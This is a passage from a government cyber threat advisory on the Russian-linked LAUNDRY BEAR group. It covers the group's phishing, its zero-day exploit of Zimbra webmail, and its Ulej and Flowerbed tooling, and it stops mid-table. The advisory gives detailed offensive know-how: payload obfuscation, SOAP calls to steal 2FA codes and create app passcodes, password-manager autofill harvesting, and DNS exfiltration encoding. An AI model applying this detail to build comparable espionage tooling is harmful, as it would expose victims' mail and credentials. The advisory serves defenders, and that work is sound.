<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
